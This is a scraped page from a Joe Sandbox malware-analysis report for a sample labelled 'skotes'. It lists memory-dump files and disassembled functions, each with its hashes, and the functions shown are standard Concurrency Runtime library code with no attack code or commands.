Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 775cd0dce03c69191856b97e73b20666a5cef4e34beb8cb5adb4f98fcfbc8a93
Instruction ID: 376cf42adf083f6fa2226c4db1ff31ad8c874522e270ab14bddb69bc32b6abda
Opcode Fuzzy Hash: 775cd0dce03c69191856b97e73b20666a5cef4e34beb8cb5adb4f98fcfbc8a93
Instruction Fuzzy Hash: 5621AE31500A149FCB24EF65CA919ABF3F9FF88320700495EE442A7651DB74B901CBA2

Function 009B4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009B4893
ListArray.LIBCONCRT ref: 009B48A5

Part of subcall function 009B5555: _InternalDeleteHelper.LIBCONCRT ref: 009B5564

ListArray.LIBCONCRT ref: 009B48AF
_InternalDeleteHelper.LIBCONCRT ref: 009B48C8

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 0866757495133ffef3adfcb269809811b425810ec72ce38957fd1569f166a3f4
Instruction ID: 46279535d70c1ee21096bffb9b30ce824b47951ac75ce8c2f9be5299f92cc287
Opcode Fuzzy Hash: 0866757495133ffef3adfcb269809811b425810ec72ce38957fd1569f166a3f4
Instruction Fuzzy Hash: B101D671601521AFCA25BB64DA86FADB76ABFC57207010129F80457613DB20EC61A7E1

Function 009BEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009BEE6A
ListArray.LIBCONCRT ref: 009BEE7C

Part of subcall function 009BEF29: _InternalDeleteHelper.LIBCONCRT ref: 009BEF3B

ListArray.LIBCONCRT ref: 009BEE86
_InternalDeleteHelper.LIBCONCRT ref: 009BEE9F

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: c1a56bf3e189fc6c3426b69210a94ada36e029784f94a304a32ba314b99bf0f4
Instruction ID: 8d399fe3226b3162cdb13a16c15df5a9d3afdd69ecc11c6816ce6782d4a22064
Opcode Fuzzy Hash: c1a56bf3e189fc6c3426b69210a94ada36e029784f94a304a32ba314b99bf0f4
Instruction Fuzzy Hash: D901D631201521AFCA25BB61DAC6FFEBB6DFFC5720B000029F80557611CB20EC5186E1

Function 009BD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009BD0C5
ListArray.LIBCONCRT ref: 009BD0D7

Part of subcall function 009BC6B2: _InternalDeleteHelper.LIBCONCRT ref: 009BC6C4

ListArray.LIBCONCRT ref: 009BD0E1
_InternalDeleteHelper.LIBCONCRT ref: 009BD0FA

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 6c0141d08947051b6447544f536673ad65511b559d44956fc87b782498e70c20
Instruction ID: 2c9a96f0d322d48223d018c84e87a8cc60123898b692723e9036235a70ac6f95
Opcode Fuzzy Hash: 6c0141d08947051b6447544f536673ad65511b559d44956fc87b782498e70c20
Instruction Fuzzy Hash: 7A01F971702521BFCA25BB64CAC6FEDB76DBFC5721B000026F80197A11EF20EC5286E1

Function 009C33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009C33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 009C33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 009C3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009C341F

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 0a0500b75fcdb3c16bea4cc8bdc9b0b602c2d55f66114606321f8c86d524e49a
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5701A232A00514A7CF1AEA648841FEF77AD9B84350F108459FC16AB292DA71EE0096A2

Function 009B9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 009B9519

Part of subcall function 009AF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 009B5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 009B953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 009B9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 009B9559

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 4c8a5fab838d11a8dbaca86418c18c284d11a89de12c12c8fd3d515520085a98
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 06F03771650B105FE672AB548911FAB23D99FC4725F00C41DF95B97282CE64E942CB91

Function 009AEFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 009AEFD1

Part of subcall function 009AF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 009AF989
